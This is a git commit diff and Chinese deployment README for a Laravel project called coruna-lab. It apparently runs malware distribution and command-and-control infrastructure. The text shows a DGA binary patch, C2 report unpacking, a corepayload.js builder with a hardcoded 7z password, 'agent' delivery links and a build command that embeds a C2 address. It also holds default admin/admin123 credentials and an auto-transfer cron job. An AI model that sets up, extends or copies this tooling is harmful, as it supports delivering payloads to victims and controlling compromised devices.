feat: delete
This commit is contained in:
+6
-13
@@ -39,18 +39,17 @@ BROADCAST_CONNECTION=log
|
|||||||
FILESYSTEM_DISK=local
|
FILESYSTEM_DISK=local
|
||||||
QUEUE_CONNECTION=sync
|
QUEUE_CONNECTION=sync
|
||||||
CACHE_STORE=file
|
CACHE_STORE=file
|
||||||
# 生产 4C8G:装 Redis 后改为
|
|
||||||
# CACHE_STORE=redis
|
CACHE_STORE=redis
|
||||||
# QUEUE_CONNECTION=redis
|
QUEUE_CONNECTION=redis
|
||||||
# REDIS_HOST=127.0.0.1
|
REDIS_HOST=127.0.0.1
|
||||||
# REDIS_PORT=6379
|
REDIS_PORT=6379
|
||||||
|
|
||||||
# Admin seeder defaults
|
# Admin seeder defaults
|
||||||
ADMIN_USERNAME=admin
|
ADMIN_USERNAME=admin
|
||||||
ADMIN_PASSWORD=admin123
|
ADMIN_PASSWORD=admin123
|
||||||
|
|
||||||
# Optional: pin session key (16 ASCII). Empty = derive from archive password seed 0.
|
|
||||||
CORUNA_SESSION_KEY=
|
|
||||||
|
|
||||||
# Optional link-display hosts (not used by DGA binary patch).
|
# Optional link-display hosts (not used by DGA binary patch).
|
||||||
# Overridable by 系统设置 → 投放域名.
|
# Overridable by 系统设置 → 投放域名.
|
||||||
@@ -60,10 +59,6 @@ CORUNA_REPORTING_DOMAINS=
|
|||||||
CORUNA_ADMIN_HOSTS=
|
CORUNA_ADMIN_HOSTS=
|
||||||
CORUNA_AGENT_HOSTS=
|
CORUNA_AGENT_HOSTS=
|
||||||
|
|
||||||
# In-process channel-builder (Python).
|
|
||||||
# Served assets: CORUNA_ARTIFACT_ROOT/web|sync (default: public/)
|
|
||||||
# Seeds/state: CORUNA_CHANNEL_STATE_ROOT (default: storage/app/channel-builder)
|
|
||||||
|
|
||||||
# 内嵌 channel-builder(无 Build API;产物默认 public/)
|
# 内嵌 channel-builder(无 Build API;产物默认 public/)
|
||||||
CORUNA_CHANNEL_BUILDER_PYTHON=/www/wwwroot/coruna-lab/channel-builder/.venv/bin/python
|
CORUNA_CHANNEL_BUILDER_PYTHON=/www/wwwroot/coruna-lab/channel-builder/.venv/bin/python
|
||||||
CORUNA_CHANNEL_BUILDER_NEW_PYTHON=/www/wwwroot/coruna-lab/channel-builder-new/.venv/bin/python
|
CORUNA_CHANNEL_BUILDER_NEW_PYTHON=/www/wwwroot/coruna-lab/channel-builder-new/.venv/bin/python
|
||||||
@@ -74,10 +69,8 @@ CORUNA_CHANNEL_BUILDER_TIMEOUT=600
|
|||||||
|
|
||||||
|
|
||||||
# Scheme for support links built from CORUNA_LAB_CHANNEL_DOMAINS
|
# Scheme for support links built from CORUNA_LAB_CHANNEL_DOMAINS
|
||||||
CORUNA_STATIC_SITE_SCHEME=https
|
|
||||||
# Max channel links per agent (super-admin settings can override)
|
# Max channel links per agent (super-admin settings can override)
|
||||||
CORUNA_MAX_CHANNELS_PER_AGENT=5
|
CORUNA_MAX_CHANNELS_PER_AGENT=5
|
||||||
|
|
||||||
CORUNA_7Z_BIN=/www/wwwroot/coruna-lab/bin/7z
|
CORUNA_7Z_BIN=/www/wwwroot/coruna-lab/bin/7z
|
||||||
|
|
||||||
# Telegram (outbound alerts + inbound Nutgram commands)
|
# Telegram (outbound alerts + inbound Nutgram commands)
|
||||||
|
|||||||
@@ -546,13 +546,16 @@ class ChannelProjectService
|
|||||||
|| $exit === 9 || $exit === 137) {
|
|| $exit === 9 || $exit === 137) {
|
||||||
return '堡塔防入侵拦截了 www 执行 python。软件商店 → 堡塔防入侵 → 看 www 拦截日志,把 venv python 与 /usr/bin/python3.10 加白后再建渠道';
|
return '堡塔防入侵拦截了 www 执行 python。软件商店 → 堡塔防入侵 → 看 www 拦截日志,把 venv python 与 /usr/bin/python3.10 加白后再建渠道';
|
||||||
}
|
}
|
||||||
if (! str_contains($hay, 'py7zr') && ! str_contains($hay, 'permission denied')
|
if (str_contains($hay, 'permission denied')) {
|
||||||
&& ! str_contains($hay, 'cannot open shared object')) {
|
return '属主不对(root 跑过构建后 www 删不掉旧文件)。执行: '
|
||||||
|
.'chown -R www:www /www/wwwroot/coruna-lab/storage /www/wwwroot/coruna-lab/public/details /www/wwwroot/coruna-lab/public/channel';
|
||||||
|
}
|
||||||
|
if (! str_contains($hay, 'py7zr') && ! str_contains($hay, 'cannot open shared object')) {
|
||||||
return '';
|
return '';
|
||||||
}
|
}
|
||||||
|
|
||||||
return '宝塔系统加固常去掉 /usr/bin/python3.10 与 venv 里 .so 的执行权限。'
|
return 'venv 缺包或 .so 不可用。用 .venv/bin/pip install -r requirements.txt,'
|
||||||
.'请把 /www/wwwroot/coruna-lab 加入加固排除,并 chmod 755 系统 python 与 venv 下 *.so';
|
.'并 chmod 755 /usr/bin/python3.10 与 venv 下 *.so';
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
|
|||||||
@@ -10,7 +10,7 @@ from pathlib import Path
|
|||||||
try:
|
try:
|
||||||
import py7zr
|
import py7zr
|
||||||
except ImportError as exc: # pragma: no cover
|
except ImportError as exc: # pragma: no cover
|
||||||
raise SystemExit("py7zr required: pip install py7zr") from exc
|
raise SystemExit(f"py7zr import failed: {exc}. pip install py7zr") from exc
|
||||||
|
|
||||||
SEVEN_ZIP_PASSWORD = "202800cfb1ad3de68e11239dcc26c30b"
|
SEVEN_ZIP_PASSWORD = "202800cfb1ad3de68e11239dcc26c30b"
|
||||||
# Matches original corepayload.js wire size closely (~521913).
|
# Matches original corepayload.js wire size closely (~521913).
|
||||||
|
|||||||
@@ -26,10 +26,6 @@ return [
|
|||||||
'admin_hosts' => $adminHosts,
|
'admin_hosts' => $adminHosts,
|
||||||
'agent_hosts' => $agentHosts,
|
'agent_hosts' => $agentHosts,
|
||||||
],
|
],
|
||||||
'static_site' => [
|
|
||||||
// Scheme used when CORUNA_LAB_CHANNEL_DOMAINS entries omit https://.
|
|
||||||
'scheme' => env('CORUNA_STATIC_SITE_SCHEME', 'https'),
|
|
||||||
],
|
|
||||||
'channel_builder' => [
|
'channel_builder' => [
|
||||||
// Absolute python for channel-builder (default: channel-builder/.venv/bin/python or python3).
|
// Absolute python for channel-builder (default: channel-builder/.venv/bin/python or python3).
|
||||||
'python' => (string) env('CORUNA_CHANNEL_BUILDER_PYTHON', ''),
|
'python' => (string) env('CORUNA_CHANNEL_BUILDER_PYTHON', ''),
|
||||||
|
|||||||
@@ -12,13 +12,13 @@ return new class extends Migration
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
$type = Schema::getColumnType('plugin_sessions', 'kind');
|
$type = strtolower((string) Schema::getColumnType('plugin_sessions', 'kind'));
|
||||||
if (in_array($type, ['integer', 'tinyinteger', 'smallinteger', 'bigint'], true)) {
|
if (in_array($type, ['integer', 'tinyint', 'tinyinteger', 'smallint', 'smallinteger', 'bigint'], true)) {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
DB::table('plugin_sessions')->where('kind', 'telegram')->update(['kind' => '1']);
|
DB::table('plugin_sessions')->where('kind', 'telegram')->update(['kind' => 1]);
|
||||||
DB::table('plugin_sessions')->where('kind', 'whatsapp')->update(['kind' => '2']);
|
DB::table('plugin_sessions')->where('kind', 'whatsapp')->update(['kind' => 2]);
|
||||||
|
|
||||||
$driver = Schema::getConnection()->getDriverName();
|
$driver = Schema::getConnection()->getDriverName();
|
||||||
if ($driver === 'mysql') {
|
if ($driver === 'mysql') {
|
||||||
|
|||||||
@@ -385,7 +385,6 @@ XXBB_VISIT_MATCH_MINUTES=30
|
|||||||
|
|
||||||
# 后台「投放链接」展示域名(不驱动二进制补丁;DGA 域名以首次构建返回为准)
|
# 后台「投放链接」展示域名(不驱动二进制补丁;DGA 域名以首次构建返回为准)
|
||||||
CORUNA_LAB_CHANNEL_DOMAINS=cdn.example.com
|
CORUNA_LAB_CHANNEL_DOMAINS=cdn.example.com
|
||||||
CORUNA_STATIC_SITE_SCHEME=https
|
|
||||||
CORUNA_REPORTING_DOMAINS=
|
CORUNA_REPORTING_DOMAINS=
|
||||||
|
|
||||||
# C2 上报 7z 解包(与 build_api 无关,仍需配置)
|
# C2 上报 7z 解包(与 build_api 无关,仍需配置)
|
||||||
|
|||||||
@@ -0,0 +1,81 @@
|
|||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
- php 安装拓展:
|
||||||
|
```
|
||||||
|
apt-get update
|
||||||
|
apt-get install -y libgmp-dev
|
||||||
|
apt-get install -y p7zip-full
|
||||||
|
|
||||||
|
fileinfo gmp redis
|
||||||
|
```
|
||||||
|
- 禁用函数:
|
||||||
|
```
|
||||||
|
disable_functions = system,chroot,chgrp,chown,shell_exec,popen,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,imap_open,apache_setenv
|
||||||
|
```
|
||||||
|
- 伪静态配置
|
||||||
|
- nginx 配置
|
||||||
|
```
|
||||||
|
location ~ "^/c/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})/show\.htm$" {
|
||||||
|
alias /www/wwwroot/coruna-lab/public/channel/$1/details/show.html;
|
||||||
|
types { }
|
||||||
|
default_type application/octet-stream;
|
||||||
|
add_header Cache-Control "public, max-age=60";
|
||||||
|
add_header Content-Type "application/octet-stream" always;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
- composer
|
||||||
|
```
|
||||||
|
composer self-update
|
||||||
|
composer install --no-dev --optimize-autoloader
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
cp .env.example .env
|
||||||
|
php artisan key:generate
|
||||||
|
chown -R www:www storage bootstrap/cache
|
||||||
|
chmod -R ug+rwx storage bootstrap/cache
|
||||||
|
chown -R www:www www/wwwroot/coruna-lab/public www/wwwroot/coruna-lab/storage
|
||||||
|
|
||||||
|
php artisan migrate
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
- channel-builder
|
||||||
|
```bash
|
||||||
|
cd /www/wwwroot/coruna-lab/channel-builder-new
|
||||||
|
|
||||||
|
python3 -m venv .venv
|
||||||
|
source .venv/bin/activate
|
||||||
|
.venv/bin/pip install pycryptodome py7zr
|
||||||
|
pip install -r requirements.txt
|
||||||
|
|
||||||
|
|
||||||
|
php artisan xxbb:build --random-c
|
||||||
|
php artisan ds:build --c2 http://192.168.31.130:8000
|
||||||
|
php artisan xxbb:repack
|
||||||
|
|
||||||
|
chown -R www:www /www/wwwroot/coruna-lab/storage /www/wwwroot/coruna-lab/bootstrap/cache
|
||||||
|
chmod -R ug+rwX /www/wwwroot/coruna-lab/storage/app/channel-builder-new
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
- 队列
|
||||||
|
```text
|
||||||
|
名称: coruna-queue
|
||||||
|
启动命令: /www/server/php/82/bin/php artisan queue:work redis --sleep=1 --tries=3 --timeout=90 --max-time=3600
|
||||||
|
启动目录: /www/wwwroot/coruna-lab
|
||||||
|
进程数量: 2
|
||||||
|
```
|
||||||
|
|
||||||
|
- 自动转账
|
||||||
|
```
|
||||||
|
cd /www/wwwroot/coruna-lab && /www/server/php/82/bin/php artisan schedule:run >> /dev/null 2>&1
|
||||||
|
```
|
||||||
Reference in New Issue
Block a user